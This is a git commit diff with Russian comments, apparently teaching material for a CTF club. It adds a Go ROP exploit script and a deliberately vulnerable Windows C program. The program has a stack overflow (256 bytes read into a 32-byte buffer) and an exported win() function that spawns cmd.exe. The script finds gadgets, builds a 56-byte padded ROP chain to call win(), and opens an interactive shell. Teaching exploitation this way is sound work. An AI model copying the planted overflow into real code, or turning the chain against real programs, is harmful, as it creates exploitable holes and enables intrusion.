v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,103 @@
|
||||
/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
target := "task2.exe"
|
||||
|
||||
peFile, err := winpwn.OpenPE(target)
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to open PE: %v", err)
|
||||
}
|
||||
defer peFile.Close()
|
||||
|
||||
// 2. Получаем RVA функции win из таблицы экспортов
|
||||
winRVA, err := peFile.GetProcAddress("win")
|
||||
if err != nil {
|
||||
log.Fatalf("win() not found: %v", err)
|
||||
}
|
||||
|
||||
// 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR)
|
||||
imageBase, err := peFile.ImageBase()
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to read ImageBase: %v", err)
|
||||
}
|
||||
|
||||
// Вычисляем абсолютный адрес win()
|
||||
winAddr := imageBase + winRVA
|
||||
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
||||
|
||||
// 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен
|
||||
rop, err := winpwn.NewROP(target)
|
||||
if err != nil {
|
||||
log.Fatalf("ROP init error: %v", err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
popRcxGadgets, err := rop.Search("pop rcx ; ret")
|
||||
if err != nil {
|
||||
log.Fatalf("pop rcx not found")
|
||||
}
|
||||
popRcx := popRcxGadgets[0].Address
|
||||
fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx)
|
||||
|
||||
// Верификация цепочки прямо из скрипта, без внешнего objdump/IDA
|
||||
if lines, err := rop.Disassemble(popRcx, 2); err == nil {
|
||||
fmt.Printf("[*] verified: %s\n", lines)
|
||||
}
|
||||
|
||||
retGadgets, err := rop.Search("ret")
|
||||
if err != nil {
|
||||
log.Fatalf("ret not found")
|
||||
}
|
||||
ret := retGadgets[0].Address
|
||||
|
||||
// 5. Конструируем пейлоад
|
||||
// Реальное расстояние до return-адреса зависит от компилятора и его
|
||||
// версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь
|
||||
// предположение по исходнику. На gcc/MinGW из этой сборки buf реально
|
||||
// лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`),
|
||||
// то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через
|
||||
// objdump -d / x86dbg или просто перебором, не доверяй комментарию
|
||||
// в исходнике вслепую.
|
||||
offset := 56
|
||||
payload := bytes.Repeat([]byte("A"), offset)
|
||||
|
||||
// --- ROP Цепочка ---
|
||||
// Закидываем 0xDEADBEEF в RCX
|
||||
payload = append(payload, winpwn.P64(popRcx)...)
|
||||
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
||||
|
||||
// Stack Alignment
|
||||
// Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0).
|
||||
// Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз.
|
||||
payload = append(payload, winpwn.P64(ret)...)
|
||||
|
||||
// Прыжок в win()
|
||||
payload = append(payload, winpwn.P64(winAddr)...)
|
||||
|
||||
// 6. Взаимодействие
|
||||
tube, err := winpwn.Spawn("./" + target)
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
|
||||
tube.Interactive()
|
||||
}
|
||||
|
||||
/*На что обратить внимание твоим участникам:
|
||||
|
||||
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
|
||||
|
||||
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
|
||||
@@ -0,0 +1,61 @@
|
||||
/* TL;DR: Главное отличие 64-битного ROP на Windows от Linux — это Calling
|
||||
Convention (соглашение о вызовах). В Linux первый аргумент передается через
|
||||
регистр RDI, а в Windows — через RCX. Поэтому вместо гаджета pop rdi мы будем
|
||||
искать pop rcx. Кроме того, вызовы WinAPI жестко требуют выравнивания стека по
|
||||
границе 16 байт, иначе программа упадет внутри system("cmd.exe").
|
||||
|
||||
Ниже представлены адаптированные исходники для твоего CTF-клуба. Чтобы твой
|
||||
парсер PEFile в go_pwner смог найти функцию win по имени (без символов отладки),
|
||||
я добавил ей атрибут экспорта __declspec(dllexport) — это классический прием для
|
||||
Windows-тасков, заменяющий парсинг ELF Symbols. Уязвимый файл (rop0_win.c)
|
||||
|
||||
Компилировать этот файл нужно с отключенным ASLR (аналог PIE в Linux), чтобы
|
||||
базовый адрес был статичным. Для MinGW-w64 используй флаги: gcc rop0_win.c -o
|
||||
rop0_win.exe -fno-pie -no-pie -fno-stack-protector. */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
|
||||
void setup() {
|
||||
// Отключение буферизации для корректной работы через пайпы
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
// Экспортируем функцию в таблицу PE, чтобы её можно было найти через твой
|
||||
// PE-парсер
|
||||
__declspec(dllexport) void win(int secret) {
|
||||
char buf[32];
|
||||
|
||||
// В Windows x64 значение secret будет взято из регистра RCX
|
||||
if (secret == 0xdeadbeef) {
|
||||
printf("you just got shell\n");
|
||||
system("cmd.exe"); // Меняем /bin/sh на классический cmd
|
||||
} else {
|
||||
printf("wrong argument: 0x%x\n", secret);
|
||||
ExitProcess(1);
|
||||
}
|
||||
}
|
||||
|
||||
void vulnerable() {
|
||||
char buf[32];
|
||||
DWORD bytesRead;
|
||||
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
|
||||
|
||||
printf("NX is ON! You cannot execute shellcode on the stack.\n");
|
||||
printf("Can you return to win() and set RCX to 0xdeadbeef?\n");
|
||||
printf("Input: ");
|
||||
|
||||
// Используем WinAPI для сырого побайтового чтения
|
||||
ReadFile(hStdin, buf, 256, &bytesRead, NULL);
|
||||
|
||||
printf("Returning...\n");
|
||||
}
|
||||
|
||||
int main() {
|
||||
setup();
|
||||
vulnerable();
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user